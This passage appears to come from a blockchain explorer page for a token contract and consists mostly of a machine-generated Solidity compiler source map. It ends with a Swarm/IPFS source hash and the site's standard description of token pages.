:63;;;;-1:-1:-1;;;9496:63:0;;11438:2:1;9496:63:0;;;11420:21:1;11477:2;11457:18;;;11450:30;11516;11496:18;;;11489:58;11564:18;;9496:63:0;11236:352:1;9496:63:0;9586:13;;-1:-1:-1;;;;;9580:19:0;;;9586:13;;9580:19;9577:146;;9653:14;;9644:6;9628:13;9638:2;9628:9;:13::i;:::-;:22;;;;:::i;:::-;:39;9620:87;;;;-1:-1:-1;;;9620:87:0;;11925:2:1;9620:87:0;;;11907:21:1;11964:2;11944:18;;;11937:30;12003:34;11983:18;;;11976:62;-1:-1:-1;;;12054:18:1;;;12047:33;12097:19;;9620:87:0;11723:399:1;9620:87:0;9740:28;9771:24;9789:4;9771:9;:24::i;:::-;9849:19;;9913:12;;9740:55;;-1:-1:-1;9825:43:0;;;;9889:36;;9886:124;;9982:12;;9959:35;;9886:124;10031:7;:18;;;;-1:-1:-1;10043:6:0;;-1:-1:-1;;;10043:6:0;;;;10042:7;10031:18;:43;;;;-1:-1:-1;10061:13:0;;-1:-1:-1;;;;;10053:21:0;;;10061:13;;10053:21;;10031:43;:58;;;;-1:-1:-1;10078:11:0;;-1:-1:-1;;;10078:11:0;;;;10031:58;:87;;;;-1:-1:-1;;;;;;10094:24:0;;;;;;:18;:24;;;;;;;;10093:25;10031:87;:114;;;;-1:-1:-1;;;;;;10123:22:0;;;;;;:18;:22;;;;;;;;10122:23;10031:114;10027:387;;;10166:38;10183:20;10166:16;:38::i;:::-;10252:21;10297:22;;10293:106;;10344:35;10357:21;10344:12;:35::i;:::-;10147:267;10027:387;9284:1141;;9226:1199;-1:-1:-1;;;;;10503:24:0;;10438:12;10503:24;;;:18;:24;;;;;;10453:4;;10503:24;;;:50;;-1:-1:-1;;;;;;10531:22:0;;;;;;:18;:22;;;;;;;;10503:50;10502:102;;;-1:-1:-1;10567:13:0;;-1:-1:-1;;;;;10559:21:0;;;10567:13;;10559:21;;;;:44;;-1:-1:-1;10590:13:0;;-1:-1:-1;;;;;10584:19:0;;;10590:13;;10584:19;;10559:44;10498:676;;;-1:-1:-1;10631:5:0;10498:676;;;10687:15;;10768:13;;-1:-1:-1;;;;;10687:15:0;;;:23;;10760:21;;;10768:13;;10760:21;:55;;;;-1:-1:-1;10799:15:0;;-1:-1:-1;;;;;10785:30:0;;;10799:15;;10785:30;;10760:55;10757:162;;;10848:14;;10836:9;:26;10891:12;;10881:7;:22;10757:162;10979:13;;-1:-1:-1;;;;;10973:19:0;;;10979:13;;10973:19;:55;;;;-1:-1:-1;11012:15:0;;-1:-1:-1;;;;;10996:32:0;;;11012:15;;10996:32;;10973:55;10969:191;;;11061:15;;:28;;11081:7;11061:19;:28::i;:::-;11049:9;:40;11118:13;;:26;;11136:7;11118:17;:26::i;:::-;11108:7;:36;10969:191;10654:520;10498:676;11187:41;11202:4;11208:2;11212:6;11220:7;11187:14;:41::i;2456:224::-;2576:7;2612:12;2604:6;;;;2596:29;;;;-1:-1:-1;;;2596:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2636:9:0;2648:5;2652:1;2648;:5;:::i;:::-;2636:17;2456:224;-1:-1:-1;;;;;2456:224:0:o;7935:202::-;8030:7;8055:19;8077:10;:8;:10::i;:::-;8055:32;-1:-1:-1;8105:24:0;:7;8055:32;8105:11;:24::i;:::-;8098:31;7935:202;-1:-1:-1;;;7935:202:0:o;11245:483::-;5945:6;:13;;-1:-1:-1;;;;5945:13:0;-1:-1:-1;;;5945:13:0;;;11347:16:::1;::::0;;11361:1:::1;11347:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11347:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11347:16:0::1;11323:40;;11392:4;11374;11379:1;11374:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11374:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11418:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11418:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11374:7;;11418:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11408:4;11413:1;11408:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11408:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11483:15:::1;::::0;11451:62:::1;::::0;11468:4:::1;::::0;11483:15:::1;11501:11:::0;11451:8:::1;:62::i;:::-;11524:15;::::0;:196:::1;::::0;-1:-1:-1;;;11524:196:0;;-1:-1:-1;;;;;11524:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11605:11;;11524:15:::1;::::0;11647:4;;11674::::1;::::0;11694:15:::1;::::0;11524:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5981:6:0;:14;;-1:-1:-1;;;;5981:14:0;;;-1:-1:-1;;;;11245:483:0:o;11737:91::-;11794:9;;:26;;-1:-1:-1;;;;;11794:9:0;;;;:26;;;;;11813:6;;11794:9;:26;:9;:26;11813:6;11794:9;:26;;;;;;;;;;;;;;;;;;;;;11737:91;:::o;2311:136::-;2369:7;2396:43;2400:1;2403;2396:43;;;;;;;;;;;;;;;;;:3;:43::i;12030:282::-;12186:7;12181:28;;12195:14;:12;:14::i;:::-;12220:44;12238:6;12246:9;12257:6;12220:17;:44::i;:::-;12280:7;12275:29;;12289:15;8432:17;;8420:9;:29;8470:15;;8460:7;:25;8376:117;15178:164;15220:7;15241:15;15258;15277:19;:17;:19::i;:::-;15240:56;;-1:-1:-1;15240:56:0;-1:-1:-1;15314:20:0;15240:56;;15314:11;:20::i;:::-;15307:27;;;;15178:164;:::o;2944:132::-;3002:7;3029:39;3033:1;3036;3029:39;;;;;;;;;;;;;;;;;:3;:39::i;8146:221::-;8193:9;;:14;:30;;;;-1:-1:-1;8211:7:0;;:12;8193:30;8189:43;;;8146:221::o;8189:43::-;8265:9;;;8245:17;:29;8303:7;;;8285:15;:25;-1:-1:-1;8324:13:0;;;;8348:11;8146:221::o;12321:630::-;12468:15;12498:23;12536:12;12563:23;12601:12;12628:13;12655:19;12666:7;12655:10;:19::i;:::-;12453:221;;;;;;;;;;;;12703:48;12723:27;12734:6;12742:7;12723:10;:27::i;:::-;-1:-1:-1;;;;;12703:15:0;;;;;;:7;:15;;;;;;;:19;:48::i;:::-;-1:-1:-1;;;;;12685:15:0;;;;;;;:7;:15;;;;;;:66;;;;12783:18;;;;;;;:39;;12806:15;12783:22;:39::i;:::-;-1:-1:-1;;;;;12762:18:0;;;;;;:7;:18;;;;;:60;12833:16;12843:5;12833:9;:16::i;:::-;12860:23;12872:4;12878;12860:11;:23::i;:::-;12916:9;-1:-1:-1;;;;;12899:44:0;12908:6;-1:-1:-1;;;;;12899:44:0;;12927:15;12899:44;;;;1595:25:1;;1583:2;1568:18;;1449:177;12899:44:0;;;;;;;;12442:509;;;;;;12321:630;;;:::o;15351:257::-;15449:7;;15402;;;;4767:21;15517:20;15449:7;4767:21;15517:11;:20::i;:::-;15507:7;:30;15503:61;;;-1:-1:-1;;15547:7:0;;;4767:21;;-1:-1:-1;15351:257:0;-1:-1:-1;15351:257:0:o;15503:61::-;15583:7;;15592;;-1:-1:-1;15351:257:0;-1:-1:-1;15351:257:0:o;3085:223::-;3205:7;3240:12;3233:5;3225:28;;;;-1:-1:-1;;;3225:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3264:9:0;3276:5;3280:1;3276;:5;:::i;13376:619::-;13476:7;13498;13520;13542;13564;13586;13625:23;13650:12;13664:13;13694:40;13706:7;13715:9;;13726:7;;13694:11;:40::i;:::-;13624:110;;;;;;13745:19;13767:10;:8;:10::i;:::-;13745:32;;13789:15;13806:23;13831:12;13860:46;13872:7;13881:4;13887:5;13894:11;13860;:46::i;:::-;13788:118;;-1:-1:-1;13788:118:0;-1:-1:-1;13788:118:0;-1:-1:-1;13958:15:0;;-1:-1:-1;13975:4:0;;-1:-1:-1;13981:5:0;;-1:-1:-1;;;;;13376:619:0;;;;;;;:::o;14003:145::-;14112:15;;14076:7;;-1:-1:-1;;;;;14102:25:0;;;14112:15;;14102:25;:38;;14134:6;14102:38;;;-1:-1:-1;14130:1:0;;14003:145;-1:-1:-1;;14003:145:0:o;2123:179::-;2181:7;;2213:5;2217:1;2213;:5;:::i;:::-;2201:17;;2242:1;2237;:6;;2229:46;;;;-1:-1:-1;;;2229:46:0;;13801:2:1;2229:46:0;;;13783:21:1;13840:2;13820:18;;;13813:30;13879:29;13859:18;;;13852:57;13926:18;;2229:46:0;13599:351:1;12960:211:0;13013:19;13035:10;:8;:10::i;:::-;13013:32;-1:-1:-1;13056:13:0;13072:22;:5;13013:32;13072:9;:22::i;:::-;13146:4;13130:22;;;;:7;:22;;;;;;13056:38;;-1:-1:-1;13130:33:0;;13056:38;13130:26;:33::i;:::-;13121:4;13105:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;12960:211:0:o;13180:147::-;13258:7;;:17;;13270:4;13258:11;:17::i;:::-;13248:7;:27;13299:10;;:20;;13314:4;13299:14;:20::i;:::-;13286:10;:33;-1:-1:-1;;13180:147:0:o;14157:469::-;14326:7;;;;14420:30;14446:3;14420:21;:7;14432:8;14420:11;:21::i;:::-;:25;;:30::i;:::-;14405:45;-1:-1:-1;14461:13:0;14477:28;14501:3;14477:19;:7;14489:6;14477:11;:19::i;:28::-;14461:44;-1:-1:-1;14516:23:0;14542:28;14461:44;14542:17;:7;14554:4;14542:11;:17::i;:::-;:21;;:28::i;:::-;14516:54;14606:4;;-1:-1:-1;14612:5:0;;-1:-1:-1;14157:469:0;;-1:-1:-1;;;;;14157:469:0:o;14635:534::-;14829:7;;;;14926:24;:7;14938:11;14926;:24::i;:::-;14908:42;-1:-1:-1;14961:12:0;14976:21;:4;14985:11;14976:8;:21::i;:::-;14961:36;-1:-1:-1;15008:13:0;15024:22;:5;15034:11;15024:9;:22::i;:::-;15008:38;-1:-1:-1;15057:23:0;15083:28;15008:38;15083:17;:7;15095:4;15083:11;:17::i;:28::-;15130:7;;;;-1:-1:-1;15156:4:0;;-1:-1:-1;14635:534:0;;-1:-1:-1;;;;;;;14635:534:0:o;2689:246::-;2747:7;2771:1;2776;2771:6;2767:47;;-1:-1:-1;2801:1:0;2794:8;;2767:47;2824:9;2836:5;2840:1;2836;:5;:::i;:::-;2824:17;-1:-1:-1;2869:1:0;2860:5;2864:1;2824:17;2860:5;:::i;:::-;:10;2852:56;;;;-1:-1:-1;;;2852:56:0;;14330:2:1;2852:56:0;;;14312:21:1;14369:2;14349:18;;;14342:30;14408:34;14388:18;;;14381:62;-1:-1:-1;;;14459:18:1;;;14452:31;14500:19;;2852:56:0;14128:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:247::-;2548:6;2601:2;2589:9;2580:7;2576:23;2572:32;2569:52;;;2617:1;2614;2607:12;2569:52;2656:9;2643:23;2675:31;2700:5;2675:31;:::i;2741:180::-;2800:6;2853:2;2841:9;2832:7;2828:23;2824:32;2821:52;;;2869:1;2866;2859:12;2821:52;-1:-1:-1;2892:23:1;;2741:180;-1:-1:-1;2741:180:1:o;2926:385::-;3012:6;3020;3028;3036;3089:3;3077:9;3068:7;3064:23;3060:33;3057:53;;;3106:1;3103;3096:12;3057:53;-1:-1:-1;;3129:23:1;;;3199:2;3184:18;;3171:32;;-1:-1:-1;3250:2:1;3235:18;;3222:32;;3301:2;3286:18;3273:32;;-1:-1:-1;2926:385:1;-1:-1:-1;2926:385:1:o;3316:782::-;3408:6;3416;3424;3477:2;3465:9;3456:7;3452:23;3448:32;3445:52;;;3493:1;3490;3483:12;3445:52;3533:9;3520:23;3562:18;3603:2;3595:6;3592:14;3589:34;;;3619:1;3616;3609:12;3589:34;3657:6;3646:9;3642:22;3632:32;;3702:7;3695:4;3691:2;3687:13;3683:27;3673:55;;3724:1;3721;3714:12;3673:55;3764:2;3751:16;3790:2;3782:6;3779:14;3776:34;;;3806:1;3803;3796:12;3776:34;3861:7;3854:4;3844:6;3841:1;3837:14;3833:2;3829:23;3825:34;3822:47;3819:67;;;3882:1;3879;3872:12;3819:67;3913:4;3905:13;;;;-1:-1:-1;3937:6:1;-1:-1:-1;;3978:20:1;;3965:34;4035:13;;4028:21;4018:32;;4008:60;;4064:1;4061;4054:12;4008:60;4087:5;4077:15;;;3316:782;;;;;:::o;4103:388::-;4171:6;4179;4232:2;4220:9;4211:7;4207:23;4203:32;4200:52;;;4248:1;4245;4238:12;4200:52;4287:9;4274:23;4306:31;4331:5;4306:31;:::i;:::-;4356:5;-1:-1:-1;4413:2:1;4398:18;;4385:32;4426:33;4385:32;4426:33;:::i;:::-;4478:7;4468:17;;;4103:388;;;;;:::o;4496:356::-;4698:2;4680:21;;;4717:18;;;4710:30;4776:34;4771:2;4756:18;;4749:62;4843:2;4828:18;;4496:356::o;6477:127::-;6538:10;6533:3;6529:20;6526:1;6519:31;6569:4;6566:1;6559:15;6593:4;6590:1;6583:15;6609:127;6670:10;6665:3;6661:20;6658:1;6651:31;6701:4;6698:1;6691:15;6725:4;6722:1;6715:15;6741:135;6780:3;6801:17;;;6798:43;;6821:18;;:::i;:::-;-1:-1:-1;6868:1:1;6857:13;;6741:135::o;6881:251::-;6951:6;7004:2;6992:9;6983:7;6979:23;6975:32;6972:52;;;7020:1;7017;7010:12;6972:52;7052:9;7046:16;7071:31;7096:5;7071:31;:::i;8058:306::-;8146:6;8154;8162;8215:2;8203:9;8194:7;8190:23;8186:32;8183:52;;;8231:1;8228;8221:12;8183:52;8260:9;8254:16;8244:26;;8310:2;8299:9;8295:18;8289:25;8279:35;;8354:2;8343:9;8339:18;8333:25;8323:35;;8058:306;;;;;:::o;11593:125::-;11658:9;;;11679:10;;;11676:36;;;11692:18;;:::i;12127:128::-;12194:9;;;12215:11;;;12212:37;;;12229:18;;:::i;12392:980::-;12654:4;12702:3;12691:9;12687:19;12733:6;12722:9;12715:25;12759:2;12797:6;12792:2;12781:9;12777:18;12770:34;12840:3;12835:2;12824:9;12820:18;12813:31;12864:6;12899;12893:13;12930:6;12922;12915:22;12968:3;12957:9;12953:19;12946:26;;13007:2;12999:6;12995:15;12981:29;;13028:1;13038:195;13052:6;13049:1;13046:13;13038:195;;;13117:13;;-1:-1:-1;;;;;13113:39:1;13101:52;;13208:15;;;;13173:12;;;;13149:1;13067:9;13038:195;;;-1:-1:-1;;;;;;;13289:32:1;;;;13284:2;13269:18;;13262:60;-1:-1:-1;;;13353:3:1;13338:19;13331:35;13250:3;12392:980;-1:-1:-1;;;12392:980:1:o;13377:217::-;13417:1;13443;13433:132;;13487:10;13482:3;13478:20;13475:1;13468:31;13522:4;13519:1;13512:15;13550:4;13547:1;13540:15;13433:132;-1:-1:-1;13579:9:1;;13377:217::o;13955:168::-;14028:9;;;14059;;14076:15;;;14070:22;;14056:37;14046:71;;14097:18;;:::i

Swarm Source

ipfs://c16eac3d8048225654cab63d372864029d6377fded49d0a5c526f8a73d68e688
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.